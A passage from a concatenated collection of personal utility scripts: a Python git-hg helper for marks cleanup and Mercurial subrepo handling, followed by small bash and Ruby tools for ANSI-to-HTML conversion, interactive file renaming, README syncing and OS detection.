p.add_argument('-n', '--dry-run', action='store_true', help='do not actually update any metadata files') p.epilog = textwrap.dedent("""\ Performs cleanup on <remote>'s marks files and ensures these are consistent (never affecting or touching any git repository objects or history). The marks files are considered consistent if they "join" on the :mark number (along with a valid git commit id). This command can be useful in following scenarios: * following a git gc command; this could prune objects and lead to (then) invalid commit ids in marks (in which case git-fast-export or git-fast-import would complain bitterly). Such pruning is more likely to happen with remote hg repos with multiple heads. * cleaning marks-git of a fetch-only remote; git-fast-import (used during fetch) also dumps non-commit SHA-1 in the marks file, so the latter can become pretty large. It will reduce in size either by a push (git-fast-export only dumps commit objects) or by running this helper command. """) return p def print_commits(self, gm, dest): for c in gm.marks.keys(): dest.write(c + b'\n') dest.flush() dest.close() def do(self, options, args): remotehg = import_sibling('remotehg', 'git-remote-hg') hg_repos = self.githgrepo.get_hg_repos() if not args: self.usage('no remote specified') for remote in args: if not remote in hg_repos: self.usage('%s is not a valid hg remote' % (remote)) hgpath = remotehg.select_marks_dir(remote, self.githgrepo.gitdir, False) puts(b"Loading hg marks ...") hgm = remotehg.Marks(os.path.join(hgpath, b'marks-hg'), None) puts(b"Loading git marks ...") gm = GitMarks(os.path.join(hgpath, b'marks-git')) repo = hg.repository(ui.ui(), hg_repos[remote]) if options.check_hg else None # git-gc may have dropped unreachable commits # (in particular due to multiple hg head cases) # need to drop those so git-fast-export or git-fast-import does not complain puts(b"Performing garbage collection on git commits ...") process = self.githgrepo.start_cmd(['cat-file', '--batch-check'], \ stdin=subprocess.PIPE) thread = threading.Thread(target=self.print_commits, args=(gm, process.stdin)) thread.start() git_marks = set({}) for l in process.stdout: sp = l.strip().split(b' ', 2) if sp[1] == 'commit': git_marks.add(gm.from_rev(sp[0])) thread.join() # reduce down to marks that are common to both puts(b"Computing marks intersection ...") common_marks = set(hgm.rev_marks.keys()).intersection(git_marks) hg_rev_marks = {} git_rev_marks = {} for m in common_marks: if repo and not hgm.rev_marks[m] in repo: continue hg_rev_marks[m] = hgm.rev_marks[m] git_rev_marks[m] = gm.rev_marks[m] # common marks will not not include any refs/notes/hg # let's not discard those casually, though they are not vital puts(b"Including notes commits ...") revlist = self.githgrepo.start_cmd(['rev-list', 'refs/notes/hg']) for l in revlist.stdout.readlines(): c = l.strip() m = gm.marks.get(c, 0) if m: git_rev_marks[m] = c # also save last-note mark if hgm.last_note: git_rev_marks[hgm.last_note] = gm.rev_marks[hgm.last_note] # some status report if len(hgm.rev_marks) != len(hg_rev_marks): puts(b"Trimmed hg marks from #%d down to #%d" % (len(hgm.rev_marks), len(hg_rev_marks))) if len(gm.rev_marks) != len(git_rev_marks): puts(b"Trimmed git marks from #%d down to #%d" % (len(gm.rev_marks), len(git_rev_marks))) # marks-hg tips irrelevant nowadays # now update and store if not options.dry_run: # hg marks puts(b"Writing hg marks ...") hgm.rev_marks = hg_rev_marks hgm.marks = {} for mark, rev in hg_rev_marks.items(): hgm.marks[rev] = mark hgm.store() # git marks puts(b"Writing git marks ...") gm.rev_marks = git_rev_marks gm.marks = {} for mark, rev in git_rev_marks.items(): gm.marks[rev] = mark gm.store() class SubRepoCommand(SubCommand): def writestate(repo, state): """rewrite .hgsubstate in (outer) repo with these subrepo states""" lines = [b'%s %s\n' % (state[s][1], s) for s in sorted(state) if state[s][1] != nullstate[1]] repo.wwrite(b'.hgsubstate', b''.join(lines), b'') def argumentparser(self): #usage = '%%(prog)s %s [options] <remote>...' % (self.subcommand) # argparse.ArgumentParser(parents=[common]) # top-level p = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter) p.add_argument('--quiet', '-q', action='store_true') p.add_argument('--recursive', '-r', action='store_true', help='recursive execution in each submodule') p.add_argument('--remote', metavar='ALIAS', default='origin', help='remote alias to use as base for relative url') p.epilog = textwrap.dedent("""\ A group of (sub-)subcommands that aid in handling Mercurial subrepos as managed by .hgsub and .hgsubstate. The commands are (where applicable) loosely modeled after the corresponding and similar git-submodule command, though otherwise there is no relation whatsoever with the git-submodule system. Each command supports recursive execution into subrepos of subrepos, and the considered (top-level) repos can be restricted by a list of subrepo paths as arguments. For most commands, the state files are examined in the parent repo's index. Though depending on your workflow, the \'update\' command will likely suffice, along with possibly an occasional \'upstate\'. """) # subparsers sub = p.add_subparsers() # common common = argparse.ArgumentParser(add_help=False) common.add_argument('paths', nargs=argparse.REMAINDER) # update p_update = sub.add_parser('update', parents=[common], help='update subrepos to state as specified in parent repo') p_update.set_defaults(func=self.cmd_update) p_update.add_argument('--rebase', action='store_true', help='rebase the subrepo current branch onto recorded superproject commit') p_update.add_argument('--merge', action='store_true', help='merge recorded superproject commit into the current branch of subrepo') p_update.add_argument('--force', action='store_true', help='throw away local changes when switching to a different commit') p_update.epilog = textwrap.dedent("""\ Brings all subrepos in the state as specified by the parent repo. If not yet present in the subpath, the subrepo is cloned from the URL specified by the parent repo (resolving relative path wrt a parent repo URL). If already present, and target state revision is ancestor of current HEAD, no update is done. Otherwise, a checkout to the required revision is done (optionally forcibly so). Alternatively, a rebase or merge is performed if so requested by the corresponding option. """) # foreach p_foreach = sub.add_parser('foreach', help='evaluate shell command in each checked out subrepo') p_foreach.set_defaults(func=self.cmd_foreach) p_foreach.add_argument('command', help='shell command') p_foreach.epilog = textwrap.dedent("""\ The command is executed in the subrepo directory and has access to the variables $path, $toplevel, $sha1, $rev and $kind. $path is the subrepo directory relative to the parent project. $toplevel is the absolute path to the top-level of the parent project. $rev is the state revision info as set in .hgsubstate whereas $sha1 is the git commit corresponding to it (which may be identical if subrepo is a git repo). $kind is the type of subrepo, e.g. git or hg. Unless given --quiet, the (recursively collected) submodule path is printed before evaluating the command. A non-zero return from the command in any submodule causes the processing to terminate. """) # add state p_upstate = sub.add_parser('upstate', parents=[common], help='update .hgsubstate to current HEAD of subrepo') p_upstate.set_defaults(func=self.cmd_upstate) p_upstate.epilog = textwrap.dedent("""\ Rather than dealing with the index the .hgsubstate file is simply and only edited to reflect the current HEAD of (all or selected) subrepos (and any adding to index and committing is left to user's discretion). """) # status p_status = sub.add_parser('status', parents=[common], help='show the status of the subrepos') p_status.add_argument('--cached', action='store_true', help='show index .hgsubstate revision if != subrepo HEAD') p_status.set_defaults(func=self.cmd_status) p_status.epilog = textwrap.dedent("""\ This will print the SHA-1 of the currently checked out commit for each subrepo, along with the subrepo path and the output of git describe for the SHA-1. Each SHA-1 will be prefixed with - if the submodule is not yet set up (i.e. cloned) and + if the currently checked out submodule commit does not match the SHA-1 found in the parent repo index state. """) # sync p_sync = sub.add_parser('sync', parents=[common], help='synchronize subrepo\'s remote URL configuration with parent configuration') p_sync.set_defaults(func=self.cmd_sync) p_sync.epilog = textwrap.dedent("""\ The subrepo's .git/config URL configuration is set to the value specified in the parent's .hgstate (with relative path suitable resolved wrt parent project). """) return p def git_hg_repo_try(self, path): try: return GitHgRepo(topdir=path) except: return None def run_cmd(self, options, repo, *args, **kwargs): # no output if quiet, otherwise show output by default # unless the caller specified something explicitly if hasattr(options, 'quiet') and options.quiet: kwargs['stdout'] = os.devnull elif 'stdout' not in kwargs: kwargs['stdout'] = None # show errors unless caller decide some way if 'stderr' not in kwargs: kwargs['stderr'] = None repo.run_cmd(*args, **kwargs) class subcontext(dict): __getattr__= dict.__getitem__ __setattr__= dict.__setitem__ __delattr__= dict.__delitem__ def __init__(self, repo): # recursion level self.level = 0 # super repo object self.repo = repo # sub repo object (if any) self.subrepo = None # (recursively) collected path of subrepo self.subpath = None # relative path of subrepo wrt super repo self.relpath = None def do(self, options, args): if args: # all arguments are registered, so should not have leftover # could be that main arguments were given to subcommands warn(b'unparsed arguments: %s' % b' '.join(args)) options.remote = compat.decode_sysarg(options.remote) log('running subcmd options %s, args %s', options, args) # establish initial operation ctx ctx = self.subcontext(self.githgrepo) self.do_operation(options, args, ctx) def do_operation(self, options, args, ctx): log('running %s with options %s in context %s', \ options.func, options, ctx) subrepos = ctx.repo.state(options.remote) paths = list(subrepos.keys()) selabspaths = None if ctx.level == 0 and hasattr(options, 'paths') and options.paths: selabspaths = [ os.path.abspath(compat.decode_sysarg(p)) for p in options.paths ] log('level %s selected paths %s', ctx.level, selabspaths) for p in paths: # prep context ctx.relpath = p ctx.subpath = os.path.join(ctx.repo.topdir, p) # check if selected abspath = os.path.abspath(ctx.subpath) if selabspaths != None and abspath not in selabspaths: log('skipping subrepo abspath %s' % abspath) continue ctx.subrepo = self.git_hg_repo_try(ctx.subpath) ctx.state = subrepos[p] # perform operation log('exec for context %s', ctx) options.func(options, args, ctx) if not ctx.subrepo: ctx.subrepo = self.git_hg_repo_try(ctx.subpath) # prep recursion (only into git-hg subrepos) if ctx.subrepo and options.recursive and ctx.state[2] == b'hg': newctx = self.subcontext(ctx.subrepo) newctx.level = ctx.level + 1 self.do_operation(options, args, newctx) def get_git_commit(self, ctx): src, rev, kind = ctx.state if kind == b'hg': gitcommit = ctx.subrepo.get_git_commit(rev) if not gitcommit: die(b'could not determine git commit for %s; a fetch may update notes' % rev) else: gitcommit = rev return gitcommit def cmd_upstate(self, options, args, ctx): if not ctx.subrepo: return src, orig, kind = ctx.state gitcommit = ctx.subrepo.rev_parse(b'HEAD') if not gitcommit: die(b'could not determine current HEAD state in %s' % ctx.subrepo.topdir) rev = gitcommit if kind == b'hg': rev = ctx.subrepo.get_hg_rev(gitcommit) if not rev: die(b'could not determine hg changeset for commit %s' % gitcommit) else: rev = gitcommit # obtain state from index state_path = os.path.join(ctx.repo.topdir, b'.hgsubstate') # should have this, since we have subrepo (state) in the first place ... if not os.path.exists(state_path): die(b'no .hgsubstate found in repo %s' % ctx.repo.topdir) if orig != rev: short = ctx.subrepo.rev_parse(['--short', gitcommit]) puts(b"Updating %s to %s [git %s]" % (ctx.subpath, rev, short)) # replace and update index with open(state_path, 'rb') as f: state = f.read() state = re.sub(b'.{40} %s' % (ctx.relpath), b'%s %s' % (rev, ctx.relpath), state) with open(state_path, 'wb') as f: f.write(state) def cmd_foreach(self, options, args, ctx): if not ctx.subrepo: return if not options.quiet: puts(b'Entering %s' % ctx.subpath) sys.stdout.flush() newenv = os.environ.copy() newenv['path'] = ctx.relpath newenv['sha1'] = self.get_git_commit(ctx) newenv['toplevel'] = os.path.abspath(ctx.repo.topdir) newenv['rev'] = ctx.state[1] newenv['kind'] = ctx.state[2] proc = subprocess.Popen(options.command, shell=True, cwd=ctx.subpath, env=newenv) proc.wait() if proc.returncode != 0: die(b'stopping at %s; script returned non-zero status' % ctx.subpath) def cmd_update(self, options, args, ctx): if not ctx.subrepo: src, _, _ = ctx.state self.run_cmd(options, ctx.repo, ['clone', src, ctx.subpath], cwd=None) ctx.subrepo = self.git_hg_repo_try(ctx.subpath) if not ctx.subrepo: die(b'subrepo %s setup clone failed' % ctx.subpath) # force (detached) checkout of target commit following clone cmd = [ 'checkout', '-q' ] else: self.run_cmd(options, ctx.subrepo, ['fetch', 'origin'], check=True) cmd = [] # check if subrepo is up-to-date, # i.e. if target commit is ancestor of HEAD # (output never to be shown) gitcommit = self.get_git_commit(ctx) newrev = ctx.subrepo.run_cmd(['rev-list', gitcommit, '^HEAD']).strip() if newrev and not cmd: if options.force: self.run_cmd(options, ctx.subrepo, ['reset', '--hard', 'HEAD'], check=True) if options.rebase: cmd = [ 'rebase' ] elif options.merge: cmd = [ 'merge' ] else: # we know about the detached consequences ... keep it a bit quiet cmd = [ 'checkout', '-q' ] if cmd: cmd.append(gitcommit) self.run_cmd(options, ctx.subrepo, cmd, check=True) def cmd_status(self, options, args, ctx): if not ctx.subrepo: state = b'-' revname = b'' _, gitcommit, kind = ctx.state if kind != b'git': gitcommit += b'[hg] ' else: gitcommit = self.get_git_commit(ctx) head = ctx.subrepo.rev_parse(b'HEAD') if head == gitcommit: state = b' ' else: state = b'+' # option determines what to print if not options.cached: gitcommit = head revname = ctx.subrepo.rev_describe(gitcommit) if revname: revname = b' (%s)' % revname puts(b"%s%s %s%s" % (state, gitcommit, ctx.subpath, revname)) def cmd_sync(self, options, args, ctx): if not ctx.subrepo: return src, _, _ = ctx.state self.run_cmd(options, ctx.subrepo, \ ['config', b'remote.%s.url' % (options.remote), src]) class RepoCommand(SubCommand): def argumentparser(self): usage = '%%(prog)s %s [options] <remote>...' % (self.subcommand) p = argparse.ArgumentParser(usage=usage) p.epilog = textwrap.dedent("""\ Determines the local hg repository of <remote>. This can either be a separate and independent local hg repository or a local proxy repo (within the .git directory). """) return p def do(self, options, args): (remote, args) = self.get_remote(args) repos = self.githgrepo.get_hg_repos() if remote in repos: puts(repos[remote].rstrip(b'/')) class HgCommand(SubCommand): def argumentparser(self): usage = '%%(prog)s %s <hg-command>...' % (self.subcommand) p = argparse.ArgumentParser(usage=usage) hgdir = self.githgrepo.get_hg_repos()[self.subcommand] p.epilog = textwrap.dedent("""\ Executes <hg-command> on the backing repository of %s (%s) (by supplying it with the standard -R option). """ % (self.subcommand, hgdir)) return p def do(self, options, args): # subcommand name is already a known valid alias of hg repo remote = self.subcommand repos = self.githgrepo.get_hg_repos() if len(args) and remote in repos: if args[0].find(b'hg') < 0: args.insert(0, b'hg') args[1:1] = ['-R', repos[remote]] p = subprocess.Popen(args, stdout=None) p.wait() else: if len(args): self.usage('invalid repo: %s' % remote) else: self.usage('missing command') class HelpCommand(SubCommand): def do(self, options, args): if len(args): cmd = args[0] if cmd in subcommands: p = subcommands[cmd].argumentparser() p.print_help(sys.stderr) return do_usage() def get_subcommands(): commands = { b'hg-rev': HgRevCommand, b'git-rev': GitRevCommand, b'repo': RepoCommand, b'gc': GcCommand, b'sub': SubRepoCommand, b'help' : HelpCommand } # add remote named subcommands repos = githgrepo.get_hg_repos() for r in repos: if not r in commands: commands[r] = HgCommand # now turn into instances for c in commands: commands[c] = commands[c](c, githgrepo) return commands def do_usage(): usage = textwrap.dedent(""" git-hg-helper subcommands: hg-rev \t show hg revision corresponding to a git revision git-rev \t find git revision corresponding to a hg revision gc \t perform maintenance and consistency cleanup on repo tracking marks sub \t manage subrepos repo \t show local hg repo backing a remote If the subcommand is the name of a remote hg repo, then any remaining arguments are considered a "hg command", e.g. hg heads, or thg, and it is then executed with -R set appropriately to the local hg repo backing the specified remote. Do note, however, that the local proxy repos are not maintained as exact mirrors of their respective remote, and also use shared storage. As such, depending on the command, the result may not be exactly as could otherwise be expected (e.g. might involve more heads, etc). Available hg remotes: """) usage = compat.to_b(usage) for r in githgrepo.get_hg_repos(): usage += b'\t%s\n' % (r) usage += b'\n' compat.stderr.write(usage) compat.stderr.flush() sys.exit(2) def init_git(gitdir=None): global githgrepo try: githgrepo = GitHgRepo(gitdir=gitdir) except Exception as e: die(str(e)) def init_logger(): global logger # setup logging logging.LOG = 5 logging.addLevelName(logging.LOG, 'LOG') envlevel = os.environ.get('GIT_HG_HELPER_DEBUG', 'WARN') loglevel = logging.getLevelName(envlevel) logging.basicConfig(level=loglevel, \ format='%(asctime)-15s %(levelname)s %(message)s') logger = logging.getLogger() def init_version(): global hg_version try: version, _, extra = util.version().partition(b'+') version = list(int(e) for e in version.split(b'.')) if extra: version[-1] += 1 hg_version = tuple(version) except: hg_version = None def check_version(*check): if not hg_version: return True return hg_version >= check def main(argv): global subcommands # as an alias, cwd is top dir, change again to original directory reldir = compat.getenv(b'GIT_PREFIX', None) if reldir: os.chdir(reldir) # init repo dir # we will take over dir management ... gitdir = compat.getenv(b'GIT_DIR', None) os.environ.pop('GIT_DIR', None) init_git(gitdir) subcommands = get_subcommands() cmd = '' if len(argv) > 1: cmd = compat.decode_sysarg(argv[1]) argv = argv[2:] if cmd in subcommands: c = subcommands[cmd] c.execute(argv) else: do_usage() init_logger() init_version() if __name__ == '__main__': sys.exit(main(sys.argv)) <file_sep>#!/bin/bash ls /usr/share/instmon/instlog.* | cut -d . -f 2,3,4,5,6,7,8,9 <file_sep>#!/usr/bin/env ruby require 'epitools' class State attr_accessor :fore, :back, :attrs COLORS = [:black, :red, :green, :yellow, :blue, :magenta, :cyan, :white] ATTRS = { 0 => :reset, 1 => :bright, 2 => :dim, 4 => :underscore, 5 => :blink, 7 => :reverse, 8 => :hidden, } FORES = { 30 => :black, 31 => :red, 32 => :green, 33 => :yellow, 34 => :blue, 35 => :magenta, 36 => :cyan, 37 => :white, } BACKS = { 40 => :black, 41 => :red, 42 => :green, 43 => :yellow, 44 => :blue, 45 => :magenta, 46 => :cyan, 47 => :white, } PALETTE = [ "#000000", "#CC0000", "#4E9A06", "#C4A000", "#3465A4", "#75507B", "#06989A", "#D3D7CF", "#555753", "#EF2929", "#8AE234", "#FCE94F", "#729FCF", "#AD7FA8", "#34E2E2", "#EEEEEC" ] def initialize reset end def reset @fore = :white @back = :black @attrs ||= Set.new @attrs.clear end def update(code) case when attr = ATTRS[code] if attr == :reset reset else attrs << attr end when fore = FORES[code] @fore = fore when back = BACKS[code] @back = back end end def html_color(sym, bright=false) n = COLORS.index(sym) n += 8 if bright PALETTE[n] end def html_for(text) bright = @attrs.include?(:bright) style = "color:#{html_color @fore, bright }; background-color:#{ html_color @back };" result = "<span style='#{style}'>" if bright result << "<b>#{text}</b>" else result << text end result << "</span>" result end end class Screen attr_accessor :screen, :fore, :back, :attrs COLORS = [:black, :red, :green, :yellow, :blue, :magenta, :cyan, :white] ATTRS = { 0 => :reset, 1 => :bright, 2 => :dim, 4 => :underscore, 5 => :blink, 7 => :reverse, 8 => :hidden, } FORES = { 30 => :black, 31 => :red, 32 => :green, 33 => :yellow, 34 => :blue, 35 => :magenta, 36 => :cyan, 37 => :white, } BACKS = { 40 => :black, 41 => :red, 42 => :green, 43 => :yellow, 44 => :blue, 45 => :magenta, 46 => :cyan, 47 => :white, } PALETTE = [ "#000000", "#CC0000", "#4E9A06", "#C4A000", "#3465A4", "#75507B", "#06989A", "#D3D7CF", "#555753", "#EF2929", "#8AE234", "#FCE94F", "#729FCF", "#AD7FA8", "#34E2E2", "#EEEEEC" ] def initialize reset end def reset @screen = [] @x = 1 @y = 1 @fore = :white @back = :black @attrs ||= Set.new @attrs.clear end def update_color(code) case when attr = ATTRS[code] if attr == :reset reset else attrs << attr end when fore = FORES[code] @fore = fore when back = BACKS[code] @back = back end end def update_position(direction, amount) end def html_color(sym, bright=false) n = COLORS.index(sym) n += 8 if bright PALETTE[n] end def html_for(text) bright = @attrs.include?(:bright) style = "color:#{html_color @fore, bright }; background-color:#{ html_color @back };" result = "<span style='#{style}'>" if bright result << "<b>#{text}</b>" else result << text end result << "</span>" result end def print(text) end end def entities(text) text.gsub("<", "&lt;").gsub(">", "&gt;") end def ansi2html_old(ansi) # problem: # * minimize the number of tags # # complex algorithm: # * parse the ansi into a structure with color/runlength for each extent of text # * an extent of color A, bracketed by extents of color B, should be turned into a nested tag # [ INPUT = flat, OUTPUT = tree ] # questions: # * what scenario(s) will cause this scheme to produce more tags than a naive approach? # # simpler algorithm (implemented): # * split on color codes # * delete redundant codes # * create <span>s # debugging info tokens = ansi.split(/(\e\[\d{1,4}(?:;\d{1,4})*[mhclnRABCDfsugJKi])/) # remove non-color terminal codes tokens = tokens.select{|s| not ( s == "" or s =~ /^\e\[([\d;]+)?[hclnRABCDfsugJKi]$/ ) } output = [] # will contain series of html tags state = State.new # the state of the terminal (current color and attributes) tokens.each do |token| if token =~ /^\e\[(.+)m$/ codes = $1.scan(/(\d+);?/).flatten.map(&:to_i) # grab all the code numbers codes.each do |code| state.update(code) end else # it's a blob of text. output << state.html_for(entities(token)) end end puts output.join("")#.gsub("\n", "<br/>\n") end def ansi2html(ansi) # problem: # * minimize the number of tags # # complex algorithm: # * parse the ansi into a structure with color/runlength for each extent of text # * an extent of color A, bracketed by extents of color B, should be turned into a nested tag # [ INPUT = flat, OUTPUT = tree ] # questions: # * what scenario(s) will cause this scheme to produce more tags than a naive approach? # # simpler algorithm: # * split on color codes # * delete redundant codes # * create <span>s # debugging info tokens = ansi.split(/(\e\[\d{1,4}(?:;\d{1,4})*[mhclnRABCDfsugJKi])/) # remove non-color terminal codes tokens = tokens.select{|s| not ( s.blank? or s =~ /^\e\[([\d;]+)?[hclnRfsugJKi]$/ ) } output = [] # will contain series of html tags state = State.new # the state of the terminal (current color and attributes) tokens.each do |token| if token =~ /^\e\[(\d+)?(A|B|C|D)$/ # A = up, B = down, C = right, D = left direction = $2 amount = ($1 || "1").to_i elsif token =~ /^\e\[(.+)m$/ codes = $1.scan(/(\d+);?/).flatten.map(&:to_i) # grab all the code numbers codes.each do |code| state.update(code) end else # it's a blob of text. output << state.html_for(entities(token)) end end output.join("").gsub("\n", "<br/>\n") end def ansi2file(ansi, f) f.puts %{ <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> } f.puts "<pre style='background-color: black;'>" f.puts ansi2html(ansi) f.puts "</pre>" f.puts %{ </body> </html> } end def test_pattern result = ansi2html("\e[c" + "<red>red <light_green>green <blue>blue".colorize + "\e[31;1m") # print the output puts "result: "; pp result colors = State::COLORS + State::COLORS.map {|color| "light_#{color}" } ansi = colors.map{|color| "<8>[<#{color}>#{color}<8>]\n" }.join('').colorize open("testpat.html", "w") do |f| f.puts "<code style='background-color: black; display: block;'>" f.puts ansi2html(ansi) f.puts "</code>" puts "* testpat.html written!" end end if $0 == __FILE__ for arg in ARGV ansi2file( open(arg, "r:CP437:UTF-8").read, $stdout ) end end <file_sep>#!/bin/bash redshift -O 2200 -g 0.9 -b 0.7 <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: image-tile <n>x<m> [input images] [output image]" echo echo "(creates an n-by-m grid out of the input images)" else montage -mode concatenate -tile $* fi<file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: fork [cmd]" exit 1 fi "$@" &<file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## class Hash def +(other) merge(other) end end class Prog < Struct.new(:bin, :desc, :cat) end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: readme-sync [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## Path.cd("~/scripts") do readme = Path["README.yml"] yaml = readme.parse # existing = yaml.values.reduce(:+) # pp existing progs = yaml.flat_map { |cat,vs| vs.map { |bin, desc| Prog.new(bin, desc, cat) } } lut = progs.map {|prog| [prog.bin, prog] }.to_h missing = Path["*"].reject { |path| path.dir? or path.ext.in?(["md", "c"]) or lut[path.filename] } yaml["Unsorted"] = missing.map { |path| [path.filename, nil] }.to_h readme.backup! readme.write(yaml.to_yaml) end<file_sep>#!/bin/bash if [ "$1" == "" ]; then ip=8.8.8.8 else ip="$1" fi ping $ip <file_sep>#!/usr/bin/env ruby require 'coolline' require 'fileutils' require 'set' # TODO: Add bracketed paste to coolline -- # Enable bracketed paste: printf "\e[?2004h" # Disable bracketed paste: printf "\e[?2004l" # At start of paste, you'll see "\e[200~" on STDIN # At end of paste, you'll see "\e[201~" on STDIN class String # # Returns: dir, basename, ext # def path_parts if self =~ %r{^(.+/)?(.+?)(\.[^\.]+)?$} return $1, $2, $3 else raise "Cannot match path..." end end # # Converts _'s and .'s to spaces # def restore_spaces gsub(/(?<=\S)(_|\.)(?=\S)/, ' ') end # # Switch left and right sides of the - # def swap_segments segs = split(" - ") [segs[1], segs[0], *segs[2..-1]].join(" - ") end # # Puts parens around years # def bracket_years gsub(/(?<!\()\b(?:19|20)\d\d\b(?!\))/, "(\\0)") end LOWERCASE_WORDS = Set.new %w[of to or the and an a at is for from in with are that] UPPERCASE_WORDS = Set.new %w[AI] # # Return a new string converted to "Title Case" (first letter of each word capitalized) # def titlecase first = true words = downcase.split(/(?<!\w')\b/) words.map.with_index do |word,i| prev_word = (i > 0) ? words[i-1] : nil if LOWERCASE_WORDS.include?(word) and (i > 0 or prev_word != " - ") # leave LOWERCASE_WORDS lowercase, unless it's the first word, or it comes after a " - " word elsif UPPERCASE_WORDS.include?(word) word.upcase else word.gsub(/^\w/) { |c| c.upcase } # capitalize first letter end end.join('') end end # # Edit a filename # def edit_filename(prompt, filename) Coolline.new do |c| c.word_boundaries = [" ", ".", ",", ";", '"', "'", "`", "<", ">", "\t", "=", ";", "|", "{", "}", "(", ")", "-", "/", "_"] # # Alt-u: capitalize everything # c.bind "\eu" do |inst| dir, basename, ext = inst.line.path_parts pos = inst.pos new_filename = "#{dir}#{basename.titlecase}#{ext}" inst.line = new_filename inst.pos = pos inst.menu.string = "(Capitalized)" end # # ^s: Swap the left and right sides of the "-" # c.bind "\x13" do |inst| dir, basename, ext = inst.line.path_parts inst.line = "#{dir}#{basename.swap_segments}#{ext}" inst.menu.string = "(Swapped left/right side of the '-')" end # # ^d: Delete file # c.bind "\x14" do |inst| system("trsh", filename) puts "\r\n[Trashed]\r" inst.line = filename inst.input.ungetc "\r" end # # ^r: Ruby REPL # c.bind "\x12" do |inst| dir, basename, ext = inst.line.path_parts stack = [basename] pos = 0 println = proc { |line| puts "#{line}\r" } clamp = proc { |n| [[n,0].max, stack.size-1].min } ruby_coolline = Coolline.new {|d| d.history_file = "#{Coolline::HistoryFile}-repl" } println["\r\n\n=== REPL mode ==="] loop do println["\rFilename: #{stack[pos]}"] expr = ruby_coolline.readline case expr when "help", "?" println[""] println["Usage:"] println[" Type some Ruby, and it'll be evaluated on the filename."] println[""] println["Special Commands:"] println[" exit/^D/blank line -> finish REPLing"] println[" undo -> revert latest change"] println[" redo -> unrevert latest change"] println[""] when "history", "hist" print "\r" stack.each_with_index do |line, i| println["#{i} #{i == pos ? "=>" : " "} #{line}"] end when "undo" pos = clamp[pos-1] when "redo" pos = clamp[pos+1] when nil, "", "exit", "commit" break else begin # println[{eval: stack[pos], stack: stack, pos: pos}.inspect] result = stack[pos].dup.instance_eval(expr) pos += 1 stack[pos..-1] = [result] rescue => e println["\rError: #{e}"] end end end println[] println["Rename: #{filename}"] inst.line = "#{dir}#{stack[pos]}#{ext}" inst.menu.string = "(REPLed string)" end # # Alt--: Remove -'s # c.bind "\e-" do |inst| dir, basename, ext = inst.line.path_parts pos = inst.pos inst.line = "#{dir}#{basename.gsub("-", " ")}#{ext}" inst.pos = pos inst.menu.string = "(Hyphens removed)" end # # ^u: remove underscores and stuff # c.bind "\x15" do |inst| dir, basename, ext = inst.line.path_parts pos = inst.pos new_filename = "#{dir}#{basename.restore_spaces.bracket_years}#{ext}" inst.line = new_filename inst.pos = pos inst.menu.string = "(Underscores removed)" end # # ^o: open file # c.bind "\x0F" do |inst| fork do Process.daemon(true) system("xdg-open", filename) end inst.menu.string = "(Opening file)" end # # ^i: print info # c.bind "\t" do |inst| #print "up 4" #print "enable linefeeds" #print "set scroll window bounds: l..r, top..(bottom - 5)" #pp Path[filename].xattrs #print "disable linefeeds" system("c", filename) inst.menu.string = "(Printing xattrs)" end # # ^k: delete everything from the cursor to the file extension # c.bind "\v" do |inst| start = inst.pos finish = inst.line.rindex(".") || inst.line.size inst.line[start...finish] = "" if start < finish inst.menu.string = "(Deleted to end)" end end.readline(prompt, filename) end # # Clears out keyboard buffer. # def STDIN.purge loop { read_nonblock(4096) } rescue nil end if __FILE__ == $0 puts puts "#{ARGV.size} thing(s) to rename..." puts for arg in ARGV unless File.exists? arg puts "Error: #{arg.inspect} not found..." next end puts "Rename: #{arg}" begin new_filename = edit_filename(" to: ", arg) rescue Interrupt puts puts puts "Rename aborted..." exit 1 end puts if arg == new_filename puts "Skipping..." puts next end if File.exists? new_filename STDIN.purge print "#{new_filename} exists. Overwrite? (y/N) " case $stdin.gets.strip.downcase when "y" puts "Clobbering..." else puts "Skipping..." next end end puts "Renaming #{arg.inspect} to #{new_filename.inspect}" FileUtils.mv arg, File.expand_path(new_filename) puts end end <file_sep>#!/bin/bash if [ "$*" == "" ]; then echo "usage: gg <regexp>" else git grep "$*" $(git rev-list --all) fi <file_sep>#!/bin/bash gem_server & o http://localhost:8808 <file_sep>#!/usr/bin/env ruby args = ARGV if args.empty? path = Dir.pwd else path = File.expand_path args.first end # # To visit a specific path, run: eaglemode -visit ::FS::::home::user::some.pdf # panel = "::FS::#{path.gsub("/", "::")}" cmd = ["eaglemode", "-visit", panel] # p [path, cmd] fork { exec *cmd }<file_sep>#!/bin/bash if [ "$2" == "" ]; then echo "usage: git-common-ancestor <branch1> <branch2>" exit 1 fi git merge-base "$1" "$2" <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## opts = Slop.parse(help: true, strict: true) do banner "Usage: html2mmap [options] <file(s)...>" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## args.each do |arg| ps = Path[arg] puts "[!] Error: #{arg.inspect} not found" unless ps.exists? doc = Oga.parse_html ps.open filename = doc.css("script[id='mmap-name']")&.text data = doc.css("script[id='mmap']")&.text&.from_base64 if filename and data puts "[+] Writing #{filename.inspect}..." File.write(filename, data) puts " |__ #{data.size.commatize} bytes written" else puts "[!] Error: #{filename.inspect} didn't parse" end end <file_sep>module OS # # Return the current operating system: Darwin, Linux, or Windows. # def self.name return @os if @os case RUBY_PLATFORM when /darwin/ @os = :darwin when /bsd/ @os = :bsd when /linux/ @os = :linux when /cygwin|mswin|mingw|bccwin|wince|emx/ @os = :windows else raise "Unknown operating system: #{RUBY_PLATFORM}" end @os end # # Is this Linux? # def self.linux? name == :linux end def self.windows? name == :windows end def self.darwin? name == :darwin end def self.mac?; darwin?; end def self.bsd? name == :bsd or name == :darwin end def self.unix? not windows? end def distro str = `lsb_release -i`.strip # $ lsb_release -i case str # Distributor ID: Fedora when /fedora/,i :fedora # Distributor ID: Arch when /arch/,i :arch # Distributor ID: Debian when /debian/,i :debian # Distributor ID: Ubuntu when /ubuntu/,i :ubuntu else raise "Unknown distro: #{str}" end end end<file_sep>#!/bin/bash if 